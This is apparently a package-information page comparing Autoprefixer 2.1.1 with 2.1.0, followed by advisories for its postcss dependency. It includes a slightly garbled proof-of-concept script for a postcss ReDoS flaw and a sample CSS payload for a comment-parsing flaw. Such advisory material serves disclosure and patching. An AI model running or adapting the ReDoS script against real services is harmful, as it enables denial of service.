Autoprefixer is a valuable tool for web developers, automatically adding vendor prefixes to CSS rules, saving time and ensuring cross-browser compatibility based on data from caniuse.com. Comparing versions 2.1.1 and 2.1.0 reveals subtle but potentially important differences. Both versions share the same core dependencies like postcss and fs-extra, and development dependencies nib, mocha, should and browserify, indicating a similar development and testing environment. The key difference lies in the caniuse-db dependency. Version 2.1.1 uses caniuse-db version ^1.0.20140710, updated on July 10th, 2014, while version 2.1.0 relies on ^1.0.20140628, reflecting the database state from June 28th, 2014. This means version 2.1.1 incorporates the latest browser support data available at that time, potentially adding prefixes for newer CSS features supported by browsers in early July 2014 that were not present in the June data. Additionally, version 2.1.0 uses stylus 0.46.3 and browserify 4.2.0, while version 2.1.1 uses stylus 0.47.1 and browserify 4.2.1. Developers should opt for version 2.1.1 to benefit from the most up-to-date caniuse-db information, resulting in more accurate and comprehensive vendor prefixing for enhanced browser compatibility. The releaseDate also indicates the newer version was released roughly two weeks after.
All the vulnerabilities related to the version 2.1.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.